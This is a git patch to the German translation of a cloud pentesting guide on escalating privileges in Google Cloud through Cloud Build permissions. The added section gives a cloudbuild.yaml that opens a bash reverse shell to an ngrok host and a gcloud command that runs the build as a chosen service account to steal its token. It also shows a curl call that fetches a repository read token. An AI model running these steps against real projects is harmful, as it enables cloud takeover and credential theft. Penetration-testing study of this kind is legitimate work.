From 05ba2931875fd215ffc5a8d09992917398d250d1 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:48:58 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-cloudbuild-privesc.md | 30 +++++++++++++------ 1 file changed, 21 insertions(+), 9 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index 6998630c1..767d8794f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,22 +12,34 @@ Für weitere Informationen zu Cloud Build siehe: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -Mit dieser Berechtigung kannst du **einen Cloud-Build einreichen**. Die Cloudbuild-Maschine wird standardmäßig in ihrem Dateisystem ein **Token des Cloudbuild-Servicekontos** haben: `@cloudbuild.gserviceaccount.com`. Du kannst jedoch **jedes Servicekonto innerhalb des Projekts** in der Cloudbuild-Konfiguration angeben.\ -Daher kannst du die Maschine einfach dazu bringen, das Token an deinen Server zu exfiltrieren oder **einen Reverse-Shell innerhalb davon zu erhalten und dir das Token zu holen** (die Datei, die das Token enthält, könnte sich ändern). +Mit dieser Berechtigung können Sie **einen Cloud-Build einreichen**. Die Cloudbuild-Maschine hat standardmäßig ein **Token des Cloudbuild-Servicekontos** in ihrem Dateisystem: `@cloudbuild.gserviceaccount.com`. Sie können jedoch **jedes Servicekonto im Projekt** in der Cloudbuild-Konfiguration angeben.\ +Daher können Sie die Maschine einfach dazu bringen, das Token an Ihren Server zu exfiltrieren oder **eine Reverse-Shell darin zu erhalten und sich das Token zu besorgen** (die Datei, die das Token enthält, könnte sich ändern). -Du kannst das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) finden (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfe daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um einen Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code kannst du finden, wie man andere Servicekonten angibt)**.** +#### Direkte Ausnutzung über gcloud CLI -Für eine detailliertere Erklärung besuche [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) +1- Erstellen Sie `cloudbuild.yaml` und ändern Sie es mit Ihren Listener-Daten. +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- Laden Sie einen einfachen Build ohne Quelle hoch, die yaml-Datei und geben Sie den zu verwendenden SA für den Build an: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Verwendung der Python gcloud-Bibliothek +Sie finden das ursprüngliche Exploit-Skript [**hier auf GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (aber der Ort, von dem es das Token bezieht, hat bei mir nicht funktioniert). Überprüfen Sie daher ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) und ein Python-Skript, um eine Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und [**es hier zu stehlen**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (im Code finden Sie, wie Sie andere Dienstkonten angeben können)**.** -### `cloudbuild.builds.update` +Für eine detailliertere Erklärung besuchen Sie [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -**Potentiell** kannst du mit dieser Berechtigung **einen Cloud-Build aktualisieren und einfach das Token des Servicekontos stehlen**, wie es mit der vorherigen Berechtigung durchgeführt wurde (aber leider konnte ich zum Zeitpunkt des Schreibens keinen Weg finden, diese API aufzurufen). - -TODO ### `cloudbuild.repositories.accessReadToken` -Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** erhalten, das zum Zugriff auf das Repository verwendet wird: +Mit dieser Berechtigung kann der Benutzer das **Lesezugriffs-Token** abrufen, das zum Zugriff auf das Repository verwendet wird: ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \